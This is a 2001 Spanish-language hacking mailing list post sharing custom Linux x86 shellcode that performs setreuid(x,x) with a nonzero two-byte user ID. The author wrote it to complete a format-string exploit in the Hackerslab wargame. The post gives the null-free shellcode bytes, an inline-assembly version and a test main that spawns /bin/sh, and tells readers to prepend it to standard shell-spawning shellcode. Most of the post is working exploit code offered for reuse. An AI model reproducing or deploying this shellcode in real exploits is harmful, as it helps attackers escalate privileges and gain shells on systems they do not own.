[HACK] setreuid(x,x) shellcode
RoMaNSoFt
roman at madrid.com
Sun Dec 16 02:13:08 CET 2001
Hola.
Para completar con éxito el exploit de Hackerslab level17 (el del
format string) he tenido que elevar privilegios antes de invocar la
shell. Para ello uso una llamada a setreuid() antes del shellcode
habitual.
He estado buscando código para esta llamada y no lo he encontrado
(como mucho había para setreuid(0,0) pero no se podía adaptar al valor
que yo necesitaba, que es un valor no nulo de longitud 2 bytes) así
que he optado por hacérmelo yo mismo.
Os posteo el resultado :-) Como siempre, cualquier sugerencia será
bien recibida. No es que esté demasiado optimizado pero al menos no
contiene nulos y funciona bien.
Hace exactamente un setreuid(x,x), con 256<x<65536. Es decir, x tiene
que ser de 2 bytes obligatoriamente y ninguno de ellos puede ser nulo
(por razones obvias).
Para usarlo simplemente teneis que añadir al "setreuidcode" un
shellcode corriente (por ejemplo, el de 24 bytes de Anathema, o si lo
preferís el clásico de Aleph1).
Si encontrais alguna shellcode que haga exactamente lo mismo por
favor, decídmelo para echarle un vistazo.
----c-u-t---c-u-t---c-u-t---c-u-t----------------
/* setreuid(x,x), 256<x<65536, Shellcode (Linux x86) by RoMaNSoFt
<roman at madrid.com> [2001.12.16] */
char setreuidcode[] =
"\x31\xc0\x89\xc3\x66\x81\xc3"
"\xf7\x01" /* x = 0x01f7 = 503 (change to suit) */
"\x89\xd9\xb0\x46\xcd\x80";
int main() {
__asm__("
xorl %eax,%eax
movl %eax,%ebx
addw $0x1f7, %bx
movl %ebx,%ecx
movb $0x46,%al
int $0x80
");
system ("/bin/sh");
exit(0);
}
----c-u-t---c-u-t---c-u-t---c-u-t----------------
Salu2,
--Roman
More information about the hacking
mailing list